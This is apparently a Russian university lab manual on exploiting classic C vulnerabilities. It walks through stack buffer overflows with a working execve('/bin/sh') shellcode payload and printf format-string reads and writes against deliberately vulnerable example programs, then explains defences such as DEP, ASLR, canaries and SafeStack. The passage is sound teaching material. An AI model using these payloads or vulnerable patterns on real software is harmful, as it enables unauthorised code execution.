

Лабораторная работа #3

Exploits

Цель: познакомится с несколькими классическими уязвимостями программ, написанных на С или С++.

0. Подготовка ОС и компиляция примеров для лабораторной

Исходные файлы всех примеров, использованных в методичке, располагаются в папке *examples*. Файлы для выполнения заданий (скомпилированные исполняемые файлы под *glibc* 2.35) вы можете найти в папке *tasks*.

[ВАЖНО] Дабы максимально приблизить своё окружение к использованному при написании настоящего руководства, необходимо создать виртуальную машину (или докер-контейнер) с Ubuntu 22.04, ядро 5.19.0-35-generic, *glibc* версии 2.35. В этом случае исправлять что-либо (команды компиляции, запуска и т.п.) скорее всего не потребуется.

Установка зависимостей и ПО

Перед началом работы рекомендуется настроить вашу систему.

1. Обновить пакеты системы

```
x@vbox:~$ sudo apt update  
x@vbox:~$ sudo apt upgrade  
x@vbox:~$ sudo apt autoclean  
x@vbox:~$ reboot
```

Возможно, будет также предложено установить обновления через приложение Software Updater – выполните обновление с помощью приложения.

2. Установить зависимости для компиляции и отладки

```
x@vbox:~$ sudo apt install -y linux-headers-$(uname -r)  
x@vbox:~$ sudo apt install -y build-essential gdb  
x@vbox:~$ sudo apt install -y gcc-multilib
```

[N.B.] Пакет *gcc-multilib* необходим для сборки 32-битных приложений.

3. Установить *IDA Free*

```
x@vbox:~$ cd ~/Downloads  
x@vbox:~/Downloads$ chmod u+x ida-free-pc_90_x64linux.run  
x@vbox:~/Downloads$ ./ida-free-pc_90_x64linux.run  
x@vbox:~/Downloads$  
x@vbox:~/Downloads$ mkdir -p ~/.idapro  
x@vbox:~/Downloads$ cp idafree_*.hexlic ~/.idapro/
```

[N.B.] Версия 9.0 актуальна на момент написания данного текста, проверьте текущую актуальную версию перед установкой.

На рабочем столе появится иконка «*IDA Free 9.0*», для запуска *IDA* с её помощью необходимо разрешить запуск из контекстного меню: правая клавиша мыши -> Allow Launching.

Если (скорее всего) *IDA* после установки не запустится, проверьте, каких плагинов QT не хватает:

```
x@vbox:~/Downloads$ QT_DEBUG_PLUGINS=1 ~/ida-free-pc-9.0/ida
```

Если в выводе вы увидите строку наподобие “libxcb-xinerama.so.0: cannot open shared object file: No such file or directory”, требуется доставить библиотеку libxcb-xinerama:

```
x@vbox:~/Downloads$ sudo apt install libxcb-xinerama0
```

[N.B.] IDA Free можно поставить на ОС Windows, в этом случае установка [обычно] не требует дополнительных шагов. Возможно, работать на Windows будет удобнее, но для отладки средствами IDA придётся организовывать т.н. удалённую отладку (remote debugging), см. [1].

4. Установить ***gdb-peda***

```
x@vbox:~/Downloads$ cd ~  
x@vbox:~$ sudo apt install -y git  
x@vbox:~$ git clone https://github.com/longld/peda.git ~/peda  
x@vbox:~$ echo "source ~/peda/peda.py" >> ~/.gdbinit  
x@vbox:~$ cd /tmp && gdb /bin/ls
```

Вы должны увидеть приглашение "***gdb-peda\$***" – признак успешной установки.

Компиляция примеров и настройка окружения

Для компиляции программ написан ***make***-файл. Необходимо перейти в папку с исходниками примеров *examples* и выполнить команду ***make*** (Посмотрите содержимое файла *Makefile!*):

```
x@vbox:~$ cd lab3/examples  
x@vbox:~/lab3/examples$ make  
x@vbox:~/lab3/examples$ cat Makefile  
x@vbox:~/lab3$
```

Для корректной работы примеров требуется отключить **ASLR** – механизм защиты исполняемых файлов (см. финальный раздел данного документа):

```
x@vbox:~/lab3$ sudo bash def_off  
x@vbox:~/lab3$
```

1. Переполнение на стеке

Перезапись локальных переменных на стеке

Рассмотрим программу *auth.c*. В контексте обсуждаемой темы нас интересует функция *check_auth*:

```
int check_auth(char* passwd)  
{  
    int auth_flag = 0;  
    char password_buffer[32] = {0};  
  
    strcpy(password_buffer, passwd);  
  
    if (strcmp(password_buffer, "fqwe3452fwertg") == 0)  
        auth_flag = 1;  
    else if (strcmp(password_buffer, "@$ew4rtg3##$5 sdf25") == 0)  
        auth_flag = 1;  
  
    return auth_flag;  
}
```

Стек	Комментарии
??	место для вызова функций из libc
"\x00"*32	массив <i>password_buffer</i> ([ebp-0x2c])
0x0	переменная <i>auth_flag</i> ([ebp-0xc])
??	место под канарейку (см. ниже)
ebx	дно кадра стека функции
ebp	
0x08049288	адрес возврата в <i>main</i>

Рис. 1. Стек после пролога функции и инициализации переменных

Функция проверки пароля реализована просто: сначала копируется пароль в локальный буфер, затем этот пароль сравнивается с двумя возможными значениями функцией *strcmp* и, если введён один из правильных паролей, значение флага *auth_flag* устанавливается в 1, в конце возвращается значение этого флага. Как было рассмотрено в Лабораторной работе #2, место под локальные переменные *auth_flag* и *password_buffer* выделяется на стеке. Исследуем кадр стека функции *check_auth* с помощью *gdb* (рис. 1):

```
x@vbox:~/lab3$ cd examples
x@vbox:~/lab3/examples$ gdb auth
gdb-peda$ disas /m check_auth
...
0x080491e4 <+62>:    mov     DWORD PTR [ebp-0x10],0x0
10
11                 strcpy(password_buffer, passwd);
0x080491eb <+69>:    sub     esp,0x8
0x080491ee <+72>:    push    DWORD PTR [ebp+0x8]
0x080491f1 <+75>:    lea    eax,[ebp-0x2c]
0x080491f4 <+78>:    push    eax
0x080491f5 <+79>:    call    0x8049070 <strcpy@plt>
...
gdb-peda$ b *(check_auth+69)
gdb-peda$ r `python3 -c 'print("A"*32)'`
gdb-peda$ x/16xw $esp
0xfffffd060: 0xf7ffd608 0x00000020 0x00000000 0x00000000
0xfffffd070: 0x00000000 0x00000000 0x00000000 0x00000000
0xfffffd080: 0x00000000 0x00000000 0x00000000 0x00000000
0xfffffd090: 0xf7fbe4a0 0xf7fd6f10 0xfffffd0b8 0x08049288
gdb-peda$
```

С помощью команды **gdb b (break)** мы устанавливаем точку останова на начало функции *check_auth* (но после завершения работы пролога функции), запускаем программу командой **r** и, остановившись на точке останова, выводим 16 4-х байтовых слов в шестнадцатеричном формате с вершины стека командой **x/16xw** (*examine*; 16 – количество, w – слово = 4 байта, x – в хексе).

Обратите внимание на взаимное расположение переменных буфера (смещение *ebp-0x2c*, выделено жирным шрифтом чёрного цвета), флага проверки пароля (смещение *ebp-0xc*, выделено жирным сиреневым) и сохранённого адреса возврата (выделено жирным красным).

Стек	Комментарии
??	место для вызова функций из libc
"A"*32	массив <i>password_buffer</i> ([ebp-0x2c])
0x41414141	переменная <i>auth_flag</i> ([ebp-0xc])
??	место под канарейку (см. ниже)
ebx	дно кадра стека функции
ebp	
0x08049288	адрес возврата в <i>main</i>

Рис. 2. Стек после переполнения буфера

Функция *strcpy* копирует символы из источника в приёмник, пока очередной символ в источнике не равен 0 (признак конца строки). Что произойдёт, если вводимый пароль будет занимать больше 32 символов? Эксперименты:

```
x@vbox:~/lab3/examples$ ./auth `python3 -c 'print("A"*0x20)'  
Access denied!  
x@vbox:~/lab3/examples$ ./auth `python3 -c 'print("A"*0x24)'  
Access granted!  
x@vbox:~/lab3/examples$
```

ДОСТУП РАЗРЕШЁН! Что же произошло? Рассмотрим состояние стека после копирования введённого пароля (рис. 2). Введя 36 символов A, мы копируем их в буфер. Но так как размер буфера – 32 байта, то 4 лишних копируются за пределы буфера – как раз на то место, где располагается переменная *auth_flag*. Когда возвращённый флаг далее проверяется в функции *main*, оно будет не равно 0, и доступ предоставляется.

Посмотрим в отладке:

```
x@vbox:~/lab3/examples$ gdb auth  
gdb-peda$ disas /m check_auth  
...  
19      }  
0x08049240 <+154>:  leave  
0x08049241 <+155>:  ret  
  
End of assembler dump.  
gdb-peda$ b *(check_auth+154)  
gdb-peda$ r `python3 -c 'print("A"*36)'  
gdb-peda$ x/16xw $esp  
0xfffffd060: 0xf7ffd608 0x00000020 0x00000000 0x41414141  
0xfffffd070: 0x41414141 0x41414141 0x41414141 0x41414141  
0xfffffd080: 0x41414141 0x41414141 0x41414141 0x41414141  
0xfffffd090: 0xf7fbe400 0xf7fd6f10 0xfffffd0b8 0x08049288  
gdb-peda$
```

Перезапись адреса возврата

Давайте запишем больше байт – скажем, 100.

```
x@vbox:~/lab3/examples$ ./auth `python3 -c 'print("A"*0x64)'`  
Segmentation fault (core dumped)  
x@vbox:~/lab3/examples$
```

Что произошло? Смотрим на стек (рис. 3). Продолжая копировать байты введённого пароля за пределы отведённого для этого буфера, мы перезаписываем адрес возврата. После выполнения инструкции `ret` управление передаётся на адрес 0x41414141, что вызывает ошибку сегментации (проверьте это в отладчике самостоятельно, действуя аналогично предыдущему примеру).

Давайте скопируем на место адреса возврата адрес, соответствующий ветке “Access granted”. Дабы найти адрес этой ветки, выведем с помощью ***gdb*** дизассемблерный листинг вместе со строками исходного кода (это возможно, так как мы скомпилировали *auth.c* с ключом *-g*, см. *Makefile*):

```
x@vbox:~/lab3/examples$ gdb ./auth  
gdb-peda$ disas /m main  
...  
31          printf("Access granted!\n");  
0x0804928f <+77>: sub    esp,0xc  
0x08049292 <+80>: push   0x804a03f  
0x08049297 <+85>: call   0x8049080 <puts@plt>  
0x0804929c <+90>: add    esp,0x10  
0x0804929f <+93>: jmp    0x80492b1 <main+111>  
  
32      else  
33          printf("Access denied!\n");  
...  
gdb-peda$
```

Из части вывода ***gdb*** выше видно, что true-ветка оператора *if* располагается по адресу 0x0804928f, поэтому именно это значение необходимо поместить на место адреса возврата с помощью переполнения (обратите внимание на порядок байтов – почему в обратном порядке? Почему сначала копируем 0x30 = 48 байт “A”?):

```
x@vbox:~/lab3/examples$ ./auth `python3 -c 'import sys;  
sys.stdout.buffer.write(b"A"*0x30 + b"\x8f\x92\x04\x08")'`  
Access granted!  
Segmentation fault (core dumped)  
x@vbox:~/lab3/examples$
```

Пусть в ходе завершения выполнения программы и порождается исключение сегментации (попробуйте угадать, почему так происходит; отладка в ***gdb*** в помощь), управление передаётся на нужную ветку.

Стек	Комментарии
??	место для вызова функций из libc
“A”*32	массив <i>password_buffer</i> ([ebp-0x2c])
0x41414141	переменная <i>auth_flag</i> ([ebp-0xc])
0x41414141	место под канарейку (см. ниже)
0x41414141	дно кадра стека функции
0x41414141	адрес возврата в main

Рис. 3. Стек после ещё большего переполнения буфера

Перезапись адреса возврата и выполнение шеллкода

Для того, чтобы исправить уязвимость в предыдущей программе, перепишем функцию проверки пароля (файл *overflow.c*):

```
int check_auth(char* passwd)
{
    char password_buffer[64] = {0};

    printf("password_buffer is at address: %p\n", password_buffer);
    strcpy(password_buffer, passwd);

    if (strcmp(password_buffer, "fqwe3452fwertg") == 0)
        return 1;
    else if (strcmp(password_buffer, "@$ew4rtg3##5 sdf25") == 0)
        return 1;
    else
        return 0;
}
```

Нет переменной – нет проблем?

Как было неоднократно упомянуто, архитектура x86-64 является архитектурой фон-неймановского типа, то есть код и данные хранятся в одном адресном пространстве. Другими словами, если вместо пароля скопировать некоторый код, а адрес возврата перезаписать адресом буфера, то мы можем изменить логику работы программы. Главное – правильно определить адрес буфера, а также необходимо, чтобы вставляемый код, называемый *шеллкодом*, не содержал нулевых символов.

```
x@vbox:~/lab3/examples$ ./overflow `python3 -c 'import sys;
sys.stdout.buffer.write(b"\x90"*24 +
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x90" +
b"\x90"*31 + b"\x70\xd0\xff\xff")'`  
password_buffer is at address: 0xfffffd070
$ exit
x@vbox:~/lab3/examples
```

Загружаемый шеллкод вызывает системную функцию *execve* и запускает командный интерпретатор */bin/sh*, после чего атакующий может выполнять любые команды, доступные текущему пользователю, от имени которого была запущена уязвимая программа. 0x90 – опкод инструкции *nop*, которая не делает ничего (*no operand*).

Посмотрим на вектор эксплуатации в отладке (см. рис. 4):

```
x@vbox:~/lab3/examples$ gdb overflow
gdb-peda$ disas /m check_auth
...
19      }
0x08049285 <+223>:  leave
0x08049286 <+224>:  ret

End of assembler dump.
gdb-peda$ b *(check_auth+223)
gdb-peda$ r `python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*24 +
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x90" +
b"\x90"*31 + b"\x21\xd0\xff\xff")'`  
gdb-peda$ x/24wx $esp
0xfffffd020: 0x90909090 0x90909090 0x90909090 0x90909090
```

```
0xfffffd030: 0x90909090 0x90909090 0xe1f7c931 0x2f2f6851
0xfffffd040: 0x2f686873 0x896e6962 0xcd0bb0e3 0x90909080
0xfffffd050: 0x90909090 0x90909090 0x90909090 0x90909090
0xfffffd060: 0x90909090 0x90909090 0x90909090 0xfffffd021
0xfffffd070: 0xfffffd300 0xf7fbe66c 0xf7fbebe10 0x00000001
gdb-peda$ si
gdb-peda$ x/4xw $esp
0xfffffd06c: 0xfffffd021 0xfffffd300 0xf7fbe66c 0xf7fbebe10
gdb-peda$ si
gdb-peda$ i r $eip
eip 0xfffffd021 0xfffffd021
gdb-peda$ x/35i $eip
=> 0xfffffd021: nop
...
0xfffffd037: nop
0xfffffd038: xor ecx,ecx
0xfffffd03a: mul ecx
0xfffffd03c: push ecx
0xfffffd03d: push 0x68732f2f
0xfffffd042: push 0x6e69622f
0xfffffd047: mov ebx,esp
0xfffffd049: mov al,0xb
0xfffffd04b: int 0x80
0xfffffd04d: nop
...
gdb-peda$
```

В целом идея отладки та же самая: установить точку останова в конце функции `check_auth`, но до освобождения кадра стека функции (т.е. до инструкции `leave`), вывести содержимое стека инструкцией `x`, завершить исполнение пролога (две команды `si`) и посмотреть содержимое регистра `eip`. В случае успешного переполнения, в `eip` к этому моменту должен оказаться адрес буфера, в который мы скопировали шеллкод - **`0xfffffd021`**. Обратите внимание, что из-за отладки в `gdb` адрес буфера изменился с `0xffffd070` на `0xffffd020` (почему это происходит?), следовательно, в векторе атаки мы заменяем адрес на `0xffffd021` (попробуйте запустить вектор с `0xffffd020` – почему нельзя использовать этот адрес? Почему можно прыгать не строго на начало буфера? Какие адреса можно использовать в качестве цели для перезаписи адреса возврата?).

Дальнейшее выполнение программы приведёт к тому, что будут выполнены инструкции шеллкода, которые запустят программу `/bin/sh` вместо уязвимой программы `overflow`, другими словами, атакующий получит shell в систему и сможет интерактивно выполнять команды оболочки.

Стек	Комментарии
??	место для вызова функций из libc
nop nop nop nop ...	массив <code>password_buffer</code> ([ebp-0x2c])
<code>xor ecx, ecx</code>	настройка аргументов
<code>mul ecx</code>	
<code>push ecx</code>	
<code>push 0x68732f2f</code>	
<code>push 0x6e69622f</code>	
<code>mov ebx, esp</code>	
<code>mov al, 11</code>	
<code>int 0x80</code>	вызов syscall'a execve
nop nop nop nop	переменная <code>auth_flag</code> ([ebp-0xc])
nop nop nop nop	место под канарейку (см. ниже)
nop nop nop nop	дно кадра стека функции
nop nop nop nop	
<code>0xfffffd021</code>	адрес возврата в <code>main</code>

Рис. 4. Стек после заливки шеллкода в буфер

2. Что-то не так с форматом

Чтение данных

Иногда использование дополнительной переменной неизбежно, либо же просто повышает читаемость кода. Можно в этом случае использовать статическую переменную, так как статические переменные помещаются в другой сегмент данных (в какой?). Новая функция (файл *format.c*):

```
int check_auth(char* username, char* passwd)
{
    static int auth_flag = 0x0;
    char password_buffer[64] = {0};

    strncpy(password_buffer, passwd, 64);
    printf(username);
    printf(", password_buffer is at address: %p\n", password_buffer);

    if (strcmp(password_buffer, "fqwe3452fwertg") == 0)
        auth_flag = 1;
    else if (strcmp(password_buffer, "@$ew4rtg3#$5 sdf25") == 0)
        auth_flag = 1;

    printf("DEBUG: auth_flag (%p) = %d\n", &auth_flag, auth_flag);
    return auth_flag;
}
```

Попробуем сломать:

```
x@vbox:~/lab3/examples$ ./format Run `python3 -c 'print("A"*100)'`  
Run, password_buffer is at address: 0xfffffd060  
DEBUG: auth_flag (0x804c02c) = 0  
Access denied!  
x@vbox:~/lab3/examples$
```

Отнюдь. Что изменилось?

Среди отладочного вывода программы *format* можно увидеть адрес переменной *auth_flag*. Посмотрим на диапазоны адресов секций исполняемого файла *format*, для чего воспользуемся утилитой *readelf*:

```
x@vbox:~/lab3/examples$ readelf -S ./format  
...  
[23] .data           PROGBITS      0804c020 003020 000008 00 WA 0 0 4  
[24] .bss            NOBITS       0804c028 003028 000008 00 WA 0 0 4  
...  
x@vbox:~/lab3/examples$
```

Жирным шрифтом выделен адрес начала секции, в которой хранится переменная *auth_flag* – **.bss**. Ключевое слово **static** заставило компилятор расположить переменную в секции статических и глобальных переменных, как следствие, переполнение буфера на стеке не приведёт к изменению значения статической переменной.

Однако в *format.c* в принципе не происходит переполнения буфера на стеке, так как источник уязвимости – функция *strcpy* – была заменена на её безопасную версию *strncpy*. Таким образом, независимо от длины введённой пользователем строки, в буфер *password_buffer* будет скопировано не более 64 байт.

Тем не менее, несмотря на внесённые исправления, программа всё ещё уязвима. Обратите внимание на строку `printf(username);`. Проблема заключается в том, что `printf` принимает первым аргументом т.н. форматную строку, а следующими аргументами – переменные, значения которых должны быть в эту форматную строку подставлены. Потому если вместо нормального имени пользователя ввести какую-нибудь форматную строку, мы можем прочитать данные со стека. Эксперименты:

Переданная строка имеет вид: «`BBB...BBBB%08x%08x%08x...%08x`». Когда эта строка попадает в `printf`, функция пытается извлечь очередные 4 байта со стека и вывести на печать в виде шестнадцатеричного числа (это приписывает формат `%x`). Таким образом, мы можем читать данные со стека. (какие именно данные – что хранится на стеке? Что хранится «под» стеком?)

Запись данных

Не чтением единым. Есть ещё один модификатор – $\%n$. Он указывает функции записать количество выведенных на печать символов по адресу, переданному на месте текущего параметра на стеке.

Эксперименты:

Успех! Адрес нашей статической переменной `static int auth_flag` записывается в начало строки, которая также хранится на стеке. Повторная обработка спецификатора `%x` «отматывает» указатель на текущий аргумент функции `printf` по 4 байта на каждый `%x`. Выполнив эту «отмотку» 290 раз, мы выставим указатель на текущий аргумент на начало форматной строки, в которой записан адрес статической переменной. Когда далее обрабатывается спецификатор `%n`, выведенное до сих пор количество символов (3907) записывается по адресу `0x804c02c`. Далее значение этой переменной возвращается из функции, и проверка проходит успешно – мы видим «Access granted».

3. И что же делать?

Неисполняемый стек – Data Execution Prevention

Разрешение проблемы с выполнением шеллкода на стеке требует внедрения механизма, называемого **Data Execution Prevention**, **DEP** [2] (также известного как **NX-bit/XD-bit** [3]). На уровне операционной системы область памяти, отводимая под стек, помечается как неисполняемая – т.е. предназначенная исключительно для хранения данных. Таким образом, если управление передаётся на неисполнимую область памяти, порождается исключение, и программа завершает выполнение.

Перекомпилируем программу *overflow.c* без дополнительного флага ***gcc* " -z execstack"**, выключающих DEP, и попробуем повторить эксплуатацию переполнения на стеке:

```
x@vbox:~/lab3/examples$ gcc -g -m32 -fno-PIC -fno-stack-protector overflow.c -o overflow_dep -no-pie
```

```
x@vbox:~/lab3/examples$ ./overflow_dep `python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*24 + b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + b"\x90"*31 + b"\x70\xd0\xff\xff")'`  
password_buffer is at address: 0xfffffd060  
Segmentation fault (core dumped)
```

Теперь при попытке исполнения шеллкода со стека порождается исключение сегментации и процессу посыпается сигнал SIGSEGV, что влечёт аварийное завершение.

Рандомизация адресного пространства – Address Space Layout Randomization

DEP позволяет защититься от заливки шеллкода, но никак не защищает от собственно переполнения. Для преодоления **DEP** была применена техника **Return Oriented Programming, ROP** [4-5]. Идея заключается в том, что при переполнении вместо адреса возврата и ниже по стеку записываются адреса, указывающие на участки кода самой программы, заканчивающиеся инструкцией **ret**. Инструкции в подобных участках выполняют необходимые операции, а цепочка адресов на стеке и инструкции **ret** позволяют соединять эти участки в т.н. цепочки, *ROP-sled*. Это возможно вследствие того, что адреса участков кода, загружаемых библиотек, стека и др. не изменяются. Чтобы это исправить, ввели механизм рандомизации адресного пространства – **Address Space Layout Randomization, ASLR** [6]. Этот механизм гарантирует то, что все используемые библиотеки и стек загружаются в разные места виртуального адресного пространства. Таким образом, атакующий не может (как минимум, вероятность успеха *крайне мала*) угадать адрес буфера, которым необходимо перезаписывать адрес возврата.

Попробуем включить ASLR, который ранее мы выключили с помощью скрипта *def_off*, и посмотрим, как изменится адрес буфера, располагающегося на стеке:

```
x@vbox:~/lab3/examples$ ./overflow 42  
password_buffer is at address: 0xfffffd0c0  
Access denied!  
x@vbox:~/lab3/examples$ echo "2" | sudo tee /proc/sys/kernel/randomize_va_space  
x@vbox:~/lab3/examples$ ./overflow 42  
password_buffer is at address: 0xff87d860  
Access denied!  
x@vbox:~/lab3/examples$
```

Мы видим, что адрес буфера на стеке изменился, поэтому вектор с заливкой шеллкода и «прыжком» на начало буфера не получится запустить – для этого нужно угадать адрес.

Попробуем проверить, изменяются ли адреса загрузки библиотек, для чего воспользуемся утилитой *ldd*:

```
x@vbox:~/lab3/examples$ ldd /usr/bin/echo  
linux-vdso.so.1 (0x00007ffee86f7000)  
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5e0e800000)  
/lib64/ld-linux-x86-64.so.2 (0x00007f5e0ea93000)  
x@vbox:~/lab3/examples$ ldd /usr/bin/echo  
linux-vdso.so.1 (0x00007fffffa5fa000)  
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9743a00000)  
/lib64/ld-linux-x86-64.so.2 (0x00007f9743d4b000)  
x@vbox:~/lab3/examples$
```

Как видно на листинге, все библиотеки, а самое главное libc.so.6 (это как раз *glibc*), загружаются по разным смещениям адресного пространства.

Превентивное обнаружение переполнения – Stack Smashing Protector

Однако **ASLR** также не защищает от самого переполнения. Для предотвращения выполнения инструкции **ret** при переполнении был введен механизм, названный **Stack Smashing Protector, SSP** [7-8]. Идея заключается в том, что на дно кадра стека кладётся т.н. **stack canary**, а по завершении выполнения функции эта канарейка проверяется. Если переполнение на стеке происходит, то значение этой канарейки тоже меняется, и неуспешная проверка в конце выполнения функции влечёт аварийное завершение работы программы. Как следствие, атакующий не может перехватить управление и произвести эксплуатацию уязвимости.

Вновь перекомпилируем программу *overflow.c*, на сей раз без флага **gcc "-fno-stack-protector"**, выключающего механизм SSP, и попробуем повторить эксплуатацию переполнения на стеке:

```
x@vbox:~/lab3/examples$ gcc -g -m32 -fno-PIC overflow.c -o overflow_ssp -no-pie
x@vbox:~/lab3/examples$ ./overflow_ssp `python3 -c 'import sys;
sys.stdout.buffer.write(b"\x90"*24 +
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +
b"\x90"*31 + b"\x70\xd0\xff\xff")'`
password_buffer is at address: 0xffe6419c
*** stack smashing detected ***: terminated
Aborted (core dumped)
x@vbox:~/lab3/examples$
```

Попытка перехвата управления с помощью переполнения была обнаружена во время исполнения финальных инструкций эпилога функции *check_auth*, что привело к аварийному завершению процесса. Вкратце разберём механизм SSP:

```
x@vbox:~/lab3/examples$ gdb overflow_ssp
gdb-peda$ disas check_auth
Dump of assembler code for function check_auth:
0x080491b6 <+0>:    push   esi
0x080491b7 <+1>:    mov    ebp,esp
0x080491b9 <+3>:    sub    esp,0x68
0x080491bc <+6>:    mov    eax,DWORD PTR [ebp+0x8]
0x080491bf <+9>:    mov    DWORD PTR [ebp-0x5c],eax
0x080491c2 <+12>:   mov    eax,gs:0x14
0x080491c8 <+18>:   mov    DWORD PTR [ebp-0xc],eax
0x080491cb <+21>:   xor    eax,eax
...
0x080492a1 <+235>:  mov    eax,0x0
0x080492a6 <+240>:  mov    edx,DWORD PTR [ebp-0xc]
0x080492a9 <+243>:  sub    edx,DWORD PTR gs:0x14
0x080492b0 <+250>:  je     0x80492b7 <check_auth+257>
0x080492b2 <+252>:  call   0x8049070 <__stack_chk_fail@plt>
0x080492b7 <+257>:  leave 
0x080492b8 <+258>:  ret
End of assembler dump.
gdb-peda$
```

В первом выделенном прямоугольником блоке содержатся инструкции, размещающие сигнальное значение (канарейку) на стеке: четыре (для 64-битных приложений восемь) байта извлекаются по смещению **0x14** из специального раздела, адрес которого хранится в сегментном регистре **gs**, и транзитом через регистр **eax** помещаются на дно кадра стека функции *check_auth* (по смещению **ebp-0xc**; кадр стека функции к этому моменту уже выделен, смещение его «дна» хранится в регистре **ebp**).

Обратите внимание, что канарейка располагается **под локальными переменными, и над адресом возврата и сохранённым значением регистра ebp**.

Далее (см. второй выделенный блок), непосредственно перед выходом из функции (перед восстановлением регистров и исполнением инструкции **ret**), сигнальное значение проверяется с истинным значением: канарейка со стека грузится в регистр **edx**, из **edx** вычитается истинное значение из **gs:0x14**, и если результат **не равен** нулю, то управление передаётся на инструкцию **call** (последняя инструкция в выделенном блоке), которая вызывает функцию **__stack_chk_fail**, запуская тем самым аварийный останов процесса.

Разделение части стека на безопасную и небезопасную части – Clang SafeStack

В процессе разбора методов эксплуатации переполнения буфера на стеке может возникнуть вопрос: обязательно ли хранить локальные переменные вместе с адресом возврата и сохранённым значением регистра **ebp**? Так как принципиальные ограничения на расположение локальных переменных отсутствуют, существует возможность разделить стек на две части и хранить важную информацию вроде адреса возврата отдельно. Именно эта идея лежит в основе механизма **SafeStack** [9-10], реализованного в компиляторе **clang** (фронтэнд **LLVM**).

В очередной раз перекомпилируем программу *overflow.c*, в этот раз используя компилятор **clang** и флаг "**-fsanitize=safe-stack**":

```
x@vbox:~/lab3/examples$ sudo apt install -y clang
x@vbox:~/lab3/examples$ clang --version
Ubuntu clang version 14.0.0-1ubuntu1
Target: x86_64-pc-linux-gnu
Thread model: posix
InstalledDir: /usr/bin
x@vbox:~/lab3/examples$ clang -g -m32 -fno-PIC -fsanitize=safe-stack overflow.c -o
overflow_clang_ss -no-pie
x@vbox:~/lab3/examples$ ./overflow_clang_ss `python3 -c 'import sys;
sys.stdout.buffer.write(b"\x90"*24 +
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +
b"\x90"*31 + b"\x70\xd0\xff\xff")'` 
safestack CHECK failed: compiler-rt/lib/safestack/safestack.cpp:95 MAP_FAILED != addr
Aborted (core dumped)
x@vbox:~/lab3/examples$
```

Как и в случае с «классическим» SSP, разделение стека на две части позволяет избежать перехвата управления путём перезаписи адреса возврата на стеке. Рассмотрим основные элементы этого механизма:

```
x@vbox:~/lab3/examples$ gdb overflow_clang_ss
gdb-peda$ disas /m check_auth
Dump of assembler code for function check_auth:
7          {
    0x08049aa0 <+0>: push   ebp
    0x08049aa1 <+1>: mov    ebp,esp
    0x08049aa3 <+3>: sub    esp,0x18
    0x08049aa6 <+6>: mov    eax,DWORD PTR [ebp+0x8]
    0x08049aa9 <+9>: mov    ecx,DWORD PTR ds:0x804bff4
    0x08049aa9 <+15>: mov    eax,DWORD PTR gs:[ecx]
    0x08049ab2 <+18>: mov    DWORD PTR [ebp-0x8],eax
    0x08049ab5 <+21>: mov    edx, eax
    0x08049ab7 <+23>: add    edx,0xfffffffffc0
    0x08049aba <+26>: mov    DWORD PTR gs:[ecx],edx
```

```

8         char password_buffer[64] = {0};
0x08049abd <+29>:    add    eax,0xffffffffc0
0x08049ac0 <+32>:    xor    ecx,ecx
0x08049ac2 <+34>:    mov    DWORD PTR [esp],eax
0x08049ac5 <+37>:    mov    DWORD PTR [esp+0x4],0x0
0x08049acd <+45>:    mov    DWORD PTR [esp+0x8],0x40
0x08049ad5 <+53>:    call   0x8049140 <memset@plt>
0x08049ada <+58>:    mov    eax,DWORD PTR [ebp-0x8]

...
19      }
0x08049b67 <+199>:   mov    eax,DWORD PTR [ebp-0x4]
0x08049b6a <+202>:   mov    ecx,DWORD PTR ds:0x804bff4
0x08049b70 <+208>:   mov    DWORD PTR gs:[ecx],edx
0x08049b73 <+211>:   add    esp,0x18
0x08049b76 <+214>:   pop    ebp
0x08049b77 <+215>:   ret

```

Механизм clang **SafeStack** заключается в выделении двух стеков: *безопасного* стека и *небезопасного* (*unsafe*) стека. *Безопасный* стек предназначен для хранения адреса возврата, сохраняемых регистров (в частности **ebp**), а также локальных переменных, доступ к которым в программе осуществляется верифицируемо безопасно (например, целочисленные переменные, указатели, переменные с плавающей точкой, структуры без массивов и т.п.). *Небезопасный* стек предназначен для хранения остальных локальных переменных, в первую очередь массивов (которые как раз могут быть переполнены).

Адрес вершины *безопасного* стека хранится в регистре **esp** – т.е. используются стандартные механизмы, в то время как адрес вершины *небезопасного* стека вычисляется прибавлением к значению регистра **gs** смещения, хранящегося в переменной **ds:0x804bff4** (см. первый выделенный блок листинга выше, инструкции **mov ecx,DWORD PTR ds:0x804bff4** и **mov eax,DWORD PTR gs:[ecx]**). В сегментном регистре **gs** хранится адрес блока локальной памяти потока, т.н. TLS-блок (**Thread-Local Storage**), по смещению **ds:0x804bff4** располагается первая запись GOT-таблицы (**Global Offset Table**) – **__safestack_unsafe_stack_ptr**, в которой хранится смещение *небезопасного* стека от начала TLS-блока, см. [9].

В первом выделенном блоке инструкций адрес *небезопасного* стека помещается в регистр **eax** и сохраняется в переменной на *безопасном* стеке по смещению **ebp-0x8**.

Во втором блоке адрес буфера **password_buffer** транзитом через регистр **eax** помещается на вершину *безопасного* стека для вызова функции **memset**. Доступ к буферу в других частях функции осуществляется аналогичным образом. Инструкции финальной части пролога функции (третий выделенный блок) выполняют обычные действия: восстановление сохранённого значения регистра **ebp** и переход по адресу возврата с вершины *безопасного* стека.

Таким образом организованная работа с локальными переменными позволяет избежать перезаписи адреса возврата путём переполнения на стеке.

Компиляция с дополнительными флагами – **-D_FORTIFY_SOURCE=[1|2|3]**

Ни один из описанных до сих пор механизмов, даже SSP, не устранил корень проблемы программы *overflow.c* – возможность записать в буфер размером 64 байта стоку произвольной длины. В общем случае исправление подобных ошибок в автоматическом режиме как минимум трудно реализуемо (а как максимум вообще невозможно), так что задача поиска и устранения ошибок в коде остаётся прерогативой

